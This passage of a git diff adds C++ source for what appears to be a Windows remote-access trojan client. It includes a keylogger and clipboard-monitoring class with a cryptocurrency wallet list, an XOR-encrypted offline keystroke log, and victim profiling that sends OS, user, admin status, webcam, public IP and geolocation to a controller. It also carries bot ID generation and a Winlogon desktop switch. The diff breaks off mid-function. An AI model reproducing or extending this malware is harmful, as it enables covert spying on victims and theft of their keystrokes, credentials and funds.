||||
delete[] m_buffer;
|
||||
}
|
||||
|
||||
// 清空缓存
|
||||
void Clear()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 重置读写指针
|
||||
m_write = 0;
|
||||
m_read = 0;
|
||||
memset(m_buffer, 0, m_size);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
// 加密/解密操作(XOR)
|
||||
void XORData(char* data, int length)
|
||||
{
|
||||
for (int i = 0; i < length; i++) {
|
||||
data[i] ^= m_key; // 用密钥进行 XOR 操作
|
||||
}
|
||||
}
|
||||
|
||||
// 从文件加载数据到缓冲区
|
||||
bool LoadDataFromFile(const std::string& filename)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 打开文件
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // 文件路径
|
||||
GENERIC_READ, // 只读权限
|
||||
0, // 不共享
|
||||
NULL, // 默认安全属性
|
||||
OPEN_EXISTING, // 文件必须存在
|
||||
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
||||
NULL // 不需要模板文件
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("Failed to open file '%s' for reading\n", filename.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// 读取文件数据
|
||||
DWORD bytesRead = 0;
|
||||
while (m_write < m_size) {
|
||||
if (!ReadFile(hFile, m_buffer + m_write, m_size - m_write, &bytesRead, NULL) || bytesRead == 0) {
|
||||
break;
|
||||
}
|
||||
XORData(m_buffer + m_write, bytesRead); // 解密数据
|
||||
m_write = (m_write + bytesRead) % m_size;
|
||||
}
|
||||
|
||||
// 关闭文件句柄
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true;
|
||||
}
|
||||
|
||||
// 写入数据(如果缓冲区满了,从头部覆盖写入)
|
||||
int Write(const char* data, int length)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
for (int i = 0; i < length; i++) {
|
||||
m_buffer[m_write] = data[i];
|
||||
m_write = (m_write + 1) % m_size;
|
||||
|
||||
// 当写指针追上读指针时,前移读指针实现覆盖写入
|
||||
if (m_write == m_read) {
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return length; // 返回实际写入的字节数
|
||||
}
|
||||
|
||||
// 从指定位置开始读取数据
|
||||
char* Read(int &pos, int &bytesRead)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (pos == 0) {
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
} else {
|
||||
m_read = pos;
|
||||
}
|
||||
int size = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
char* outBuffer = size ? new char[size] : NULL;
|
||||
for (int i = 0; i < size; i++) {
|
||||
if (m_read == m_write) { // 缓冲区为空
|
||||
break;
|
||||
}
|
||||
outBuffer[i] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
bytesRead++;
|
||||
}
|
||||
pos = m_write;
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return outBuffer; // 返回实际读取的字节数
|
||||
}
|
||||
|
||||
// 将缓存中所有数据写入文件(加密)
|
||||
bool WriteAvailableDataToFile(const std::string& filename)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 获取所有数据的大小
|
||||
m_read = m_write + 1;
|
||||
while (m_read < m_size && m_buffer[m_read] == 0) m_read++;
|
||||
if (m_read == m_size) m_read = 0;
|
||||
int totalSize = (m_write >= m_read) ? (m_write - m_read) : (m_size - (m_read - m_write));
|
||||
|
||||
if (totalSize == 0) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return true; // 没有数据可写入
|
||||
}
|
||||
|
||||
// 打开文件以进行写入
|
||||
HANDLE hFile = CreateFileA(
|
||||
filename.c_str(), // 文件路径
|
||||
GENERIC_WRITE, // 写权限
|
||||
0, // 不共享
|
||||
NULL, // 默认安全属性
|
||||
CREATE_ALWAYS, // 如果文件存在则覆盖
|
||||
FILE_ATTRIBUTE_NORMAL, // 常规文件属性
|
||||
NULL // 不需要模板文件
|
||||
);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false; // 打开文件失败
|
||||
}
|
||||
|
||||
// 写入缓冲区中的所有数据
|
||||
int bytesWritten = 0;
|
||||
DWORD bytesToWrite = totalSize;
|
||||
const int size = 64*1024;
|
||||
char *buffer = new char[size];
|
||||
while (bytesWritten < totalSize) {
|
||||
DWORD bufferSize = min(bytesToWrite, size);
|
||||
|
||||
// 填充缓冲区
|
||||
for (int i = 0; i < bufferSize && m_read != m_write; ) {
|
||||
buffer[i++] = m_buffer[m_read];
|
||||
m_read = (m_read + 1) % m_size;
|
||||
}
|
||||
|
||||
// 加密数据
|
||||
XORData(buffer, bufferSize);
|
||||
|
||||
// 写入文件
|
||||
DWORD bytesActuallyWritten = 0;
|
||||
if (!WriteFile(hFile, buffer, bufferSize, &bytesActuallyWritten, NULL)) {
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
delete[] buffer;
|
||||
return false; // 写入失败
|
||||
}
|
||||
|
||||
bytesWritten += bytesActuallyWritten;
|
||||
bytesToWrite -= bytesActuallyWritten;
|
||||
}
|
||||
delete[] buffer;
|
||||
|
||||
// 关闭文件句柄
|
||||
SAFE_CLOSE_HANDLE(hFile);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(IOCPClient*pClient, int offline, void* user=NULL);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void Notify();
|
||||
virtual void UpdateWallet(const std::string& wallet);
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI Clipboard(LPVOID lparam);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
static DWORD WINAPI SendData(LPVOID lparam);
|
||||
BOOL m_bIsOfflineRecord;
|
||||
HANDLE m_hClipboard;
|
||||
HANDLE m_hWorkThread,m_hSendThread;
|
||||
TCHAR m_strRecordFile[MAX_PATH];
|
||||
virtual BOOL Reconnect()
|
||||
{
|
||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||
}
|
||||
private:
|
||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||
int sendStartKeyBoard();
|
||||
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
|
||||
bool m_bIsWorking;
|
||||
CircularBuffer *m_Buffer;
|
||||
CLocker m_mu;
|
||||
std::vector<std::string> m_Wallet;
|
||||
std::vector<std::string> GetWallet();
|
||||
};
|
||||
|
||||
#undef BUFFER_SIZE
|
||||
|
||||
#endif
|
||||
335
client/Loader.cpp
Normal file
335
client/Loader.cpp
Normal file
File diff suppressed because one or more lines are too long
379
client/LoginServer.cpp
Normal file
379
client/LoginServer.cpp
Normal file
@@ -0,0 +1,379 @@
|
||||
#include "StdAfx.h"
|
||||
#include "LoginServer.h"
|
||||
#include "Common.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <location.h>
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
std::string getSystemName()
|
||||
{
|
||||
typedef void(__stdcall* NTPROC)(DWORD*, DWORD*, DWORD*);
|
||||
|
||||
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
||||
if (!hinst) {
|
||||
return "未知操作系统";
|
||||
}
|
||||
|
||||
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
||||
if (!proc) {
|
||||
FreeLibrary(hinst);
|
||||
return "未知操作系统";
|
||||
}
|
||||
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
||||
dwBuildNumber &= 0xFFFF; // 高位是标志位,只取低16位
|
||||
|
||||
FreeLibrary(hinst);
|
||||
|
||||
// 判断是否为 Server 版本
|
||||
OSVERSIONINFOEX osvi = { sizeof(osvi) };
|
||||
GetVersionEx((OSVERSIONINFO*)&osvi);
|
||||
bool isServer = (osvi.wProductType != VER_NT_WORKSTATION);
|
||||
|
||||
std::string vname;
|
||||
|
||||
if (dwMajor == 10 && dwMinor == 0) {
|
||||
if (isServer) {
|
||||
// Windows Server
|
||||
if (dwBuildNumber >= 20348)
|
||||
vname = "Windows Server 2022";
|
||||
else if (dwBuildNumber >= 17763)
|
||||
vname = "Windows Server 2019";
|
||||
else
|
||||
vname = "Windows Server 2016";
|
||||
} else {
|
||||
// Windows 桌面版
|
||||
if (dwBuildNumber >= 22000)
|
||||
vname = "Windows 11";
|
||||
else
|
||||
vname = "Windows 10";
|
||||
}
|
||||
} else if (dwMajor == 6) {
|
||||
switch (dwMinor) {
|
||||
case 3:
|
||||
vname = isServer ? "Windows Server 2012 R2" : "Windows 8.1";
|
||||
break;
|
||||
case 2:
|
||||
vname = isServer ? "Windows Server 2012" : "Windows 8";
|
||||
break;
|
||||
case 1:
|
||||
vname = isServer ? "Windows Server 2008 R2" : "Windows 7";
|
||||
break;
|
||||
case 0:
|
||||
vname = isServer ? "Windows Server 2008" : "Windows Vista";
|
||||
break;
|
||||
}
|
||||
} else if (dwMajor == 5) {
|
||||
switch (dwMinor) {
|
||||
case 2:
|
||||
vname = "Windows Server 2003";
|
||||
break;
|
||||
case 1:
|
||||
vname = "Windows XP";
|
||||
break;
|
||||
case 0:
|
||||
vname = "Windows 2000";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (vname.empty()) {
|
||||
char buf[64];
|
||||
sprintf(buf, "Windows (Build %d)", dwBuildNumber);
|
||||
vname = buf;
|
||||
}
|
||||
|
||||
Mprintf("此电脑的版本为:%s (Build %d)\n", vname.c_str(), dwBuildNumber);
|
||||
return vname;
|
||||
}
|
||||
|
||||
std::string formatTime(const FILETIME& fileTime)
|
||||
{
|
||||
// 转换为 64 位时间
|
||||
ULARGE_INTEGER ull;
|
||||
ull.LowPart = fileTime.dwLowDateTime;
|
||||
ull.HighPart = fileTime.dwHighDateTime;
|
||||
|
||||
// 转换为秒级时间戳
|
||||
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
||||
|
||||
// 格式化输出
|
||||
std::tm* localTime = std::localtime(&startTime);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
||||
return std::string(buffer);
|
||||
}
|
||||
|
||||
std::string getProcessTime()
|
||||
{
|
||||
FILETIME creationTime, exitTime, kernelTime, userTime;
|
||||
|
||||
// 获取当前进程的时间信息
|
||||
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
||||
return formatTime(creationTime);
|
||||
}
|
||||
std::time_t now = std::time(nullptr);
|
||||
std::tm* t = std::localtime(&now);
|
||||
char buffer[100];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int getOSBits()
|
||||
{
|
||||
SYSTEM_INFO si;
|
||||
GetNativeSystemInfo(&si);
|
||||
|
||||
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
||||
return 64;
|
||||
} else {
|
||||
return 32;
|
||||
}
|
||||
}
|
||||
|
||||
// 检查CPU核心数
|
||||
// SYSTEM_INFO.dwNumberOfProcessors
|
||||
int GetCPUCores()
|
||||
{
|
||||
INT i = 0;
|
||||
#ifdef _WIN64
|
||||
// 在 x64 下,我们需要使用 `NtQuerySystemInformation`
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
|
||||
#else
|
||||
_asm { // x64编译模式下不支持__asm的汇编嵌入
|
||||
mov eax, dword ptr fs : [0x18] ; // TEB
|
||||
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
||||
mov eax, dword ptr ds : [eax + 0x64] ;
|
||||
mov i, eax;
|
||||
}
|
||||
#endif
|
||||
Mprintf("此计算机CPU核心: %d\n", i);
|
||||
return i;
|
||||
}
|
||||
|
||||
double GetMemorySizeGB()
|
||||
{
|
||||
_MEMORYSTATUSEX mst;
|
||||
mst.dwLength = sizeof(mst);
|
||||
GlobalMemoryStatusEx(&mst);
|
||||
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
||||
Mprintf("此计算机内存: %fGB\n", GB);
|
||||
return GB;
|
||||
}
|
||||
|
||||
#pragma comment(lib, "Version.lib")
|
||||
std::string GetCurrentExeVersion()
|
||||
{
|
||||
TCHAR filePath[MAX_PATH];
|
||||
if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
DWORD handle = 0;
|
||||
DWORD verSize = GetFileVersionInfoSize(filePath, &handle);
|
||||
if (verSize == 0) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
std::vector<BYTE> verData(verSize);
|
||||
if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
VS_FIXEDFILEINFO* pFileInfo = nullptr;
|
||||
UINT len = 0;
|
||||
if (!VerQueryValue(verData.data(), "\\", reinterpret_cast<LPVOID*>(&pFileInfo), &len)) {
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
if (pFileInfo) {
|
||||
DWORD major = HIWORD(pFileInfo->dwFileVersionMS);
|
||||
DWORD minor = LOWORD(pFileInfo->dwFileVersionMS);
|
||||
DWORD build = HIWORD(pFileInfo->dwFileVersionLS);
|
||||
DWORD revision = LOWORD(pFileInfo->dwFileVersionLS);
|
||||
|
||||
std::ostringstream oss;
|
||||
oss << major << "." << minor << "." << build << "." << revision;
|
||||
return "v" + oss.str();
|
||||
}
|
||||
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
|
||||
std::string GetCurrentUserNameA()
|
||||
{
|
||||
char username[256];
|
||||
DWORD size = sizeof(username);
|
||||
|
||||
if (GetUserNameA(username, &size)) {
|
||||
return std::string(username);
|
||||
} else {
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
#define XXH_INLINE_ALL
|
||||
#include "common/xxhash.h"
|
||||
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
||||
uint64_t CalcalateID(const std::vector<std::string>& clientInfo)
|
||||
{
|
||||
std::string s;
|
||||
for (int i = 0; i < 5; i++) {
|
||||
s += clientInfo[i] + "|";
|
||||
}
|
||||
s.erase(s.length()-1);
|
||||
return XXH64(s.c_str(), s.length(), 0);
|
||||
}
|
||||
|
||||
BOOL IsAuthKernel(std::string &str) {
|
||||
BOOL isAuthKernel = FALSE;
|
||||
std::string pid = std::to_string(GetCurrentProcessId());
|
||||
HANDLE hEvent1 = OpenEventA(SYNCHRONIZE, FALSE, std::string("YAMA_" + pid).c_str());
|
||||
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
char buf[_MAX_PATH] = {};
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) {
|
||||
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
|
||||
isAuthKernel = TRUE;
|
||||
config* cfg = IsDebug ? new config : new iniFile;
|
||||
str = cfg->GetStr("settings", "Password", "");
|
||||
delete cfg;
|
||||
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
||||
auto list = StringToVector(str, '-', 3);
|
||||
str = list[1].empty() ? "Unknown" : list[1];
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hEvent1);
|
||||
SAFE_CLOSE_HANDLE(hEvent2);
|
||||
return isAuthKernel;
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string& expiredDate)
|
||||
{
|
||||
std::string str = expiredDate;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
||||
//获得操作系统信息
|
||||
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
||||
|
||||
//获得PCName
|
||||
char szPCName[MAX_PATH] = {0};
|
||||
gethostname(szPCName, MAX_PATH);
|
||||
|
||||
DWORD dwCPUMHz;
|
||||
dwCPUMHz = CPUClockMHz();
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
std::string group = cfg.GetStr("settings", "group_name");
|
||||
if (!group.empty())
|
||||
strcpy_s(conn.szGroupName, group.c_str());
|
||||
if (conn.szGroupName[0] == 0)
|
||||
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
||||
else
|
||||
sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName);
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
|
||||
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
||||
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
||||
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
||||
char buf[_MAX_PATH] = {};
|
||||
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
||||
LoginInfor.AddReserved(buf); // 文件路径
|
||||
LoginInfor.AddReserved("?"); // test
|
||||
std::string installTime = cfg.GetStr("settings", "install_time");
|
||||
if (installTime.empty()) {
|
||||
installTime = ToPekingTimeAsString(nullptr);
|
||||
cfg.SetStr("settings", "install_time", installTime);
|
||||
}
|
||||
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
|
||||
LoginInfor.AddReserved("?"); // 安装信息
|
||||
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
|
||||
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
|
||||
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
std::string loc = cfg.GetStr("settings", "location", "");
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||||
IPConverter cvt;
|
||||
if (loc.empty() || pubIP.empty() || timeout) {
|
||||
pubIP = cvt.getPublicIP();
|
||||
loc = cvt.GetGeoLocation(pubIP);
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
cfg.SetInt("settings", "ip_time", time(0));
|
||||
}
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
||||
BOOL IsRunningAsAdmin();
|
||||
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
char cpuInfo[32];
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
auto clientID = std::to_string(conn.clientID);
|
||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
char reservedInfo[64];
|
||||
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
auto list = ScreenCapture::GetAllMonitors();
|
||||
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
|
||||
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
|
||||
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
|
||||
LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID
|
||||
char fileSize[32];
|
||||
double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0;
|
||||
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
DWORD CPUClockMHz()
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwCPUMHz;
|
||||
DWORD dwReturn = sizeof(DWORD);
|
||||
DWORD dwType = REG_DWORD;
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
||||
RegCloseKey(hKey);
|
||||
return dwCPUMHz;
|
||||
}
|
||||
|
||||
BOOL WebCamIsExist()
|
||||
{
|
||||
BOOL bOk = FALSE;
|
||||
|
||||
char szDeviceName[100], szVer[50];
|
||||
for (int i = 0; i < 10 && !bOk; ++i) {
|
||||
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||||
//系统的API函数
|
||||
szVer, sizeof(szVer));
|
||||
}
|
||||
return bOk;
|
||||
}
|
||||
11
client/LoginServer.h
Normal file
11
client/LoginServer.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPClient.h"
|
||||
#include <Vfw.h>
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
BOOL IsAuthKernel(std::string& str);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
267
client/Manager.cpp
Normal file
267
client/Manager.cpp
Normal file
@@ -0,0 +1,267 @@
|
||||
// Manager.cpp: implementation of the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <process.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned(__stdcall* start_address)(void*);
|
||||
void* arglist;
|
||||
bool bInteractive; // 是否支持交互桌面
|
||||
HANDLE hEventTransferArg;
|
||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||
|
||||
HDESK SelectDesktop(TCHAR* name);
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
try {
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// 与桌面交互
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
} catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
|
||||
arg.arglist = (void*)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
ULONG PseudoRand(ULONG* seed)
|
||||
{
|
||||
return (*seed = 1352459 * (*seed) + 2529004207);
|
||||
}
|
||||
|
||||
std::string GetBotId()
|
||||
{
|
||||
#define _T(p) p
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR windowsDirectory[MAX_PATH] = {};
|
||||
TCHAR volumeName[8] = { 0 };
|
||||
DWORD seed = 0;
|
||||
|
||||
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
|
||||
windowsDirectory[0] = _T('C');
|
||||
|
||||
volumeName[0] = windowsDirectory[0];
|
||||
volumeName[1] = _T(':');
|
||||
volumeName[2] = _T('\\');
|
||||
volumeName[3] = _T('\0');
|
||||
|
||||
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
|
||||
|
||||
GUID guid = {};
|
||||
guid.Data1 = PseudoRand(&seed);
|
||||
|
||||
guid.Data2 = (USHORT)PseudoRand(&seed);
|
||||
guid.Data3 = (USHORT)PseudoRand(&seed);
|
||||
for (int i = 0; i < 8; i++)
|
||||
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
|
||||
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
|
||||
return botId;
|
||||
#undef _T(p)
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if (!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
{
|
||||
if (dwDesiredAccess == 0) {
|
||||
dwDesiredAccess = DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS;
|
||||
}
|
||||
|
||||
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
||||
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
||||
if (hWinSta) {
|
||||
SetProcessWindowStation(hWinSta);
|
||||
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
|
||||
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
return hInputDesktop;
|
||||
}
|
||||
|
||||
// 返回新桌面句柄,如果没有变化返回NULL
|
||||
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = OpenActiveDesktop(accessRights);
|
||||
if (!hInputDesk) return NULL;
|
||||
|
||||
if (!currentDesk) {
|
||||
return hInputDesk;
|
||||
} else {
|
||||
// 通过桌面名称判断是否真正变化
|
||||
char oldName[256] = { 0 };
|
||||
char newName[256] = { 0 };
|
||||
DWORD len = 0;
|
||||
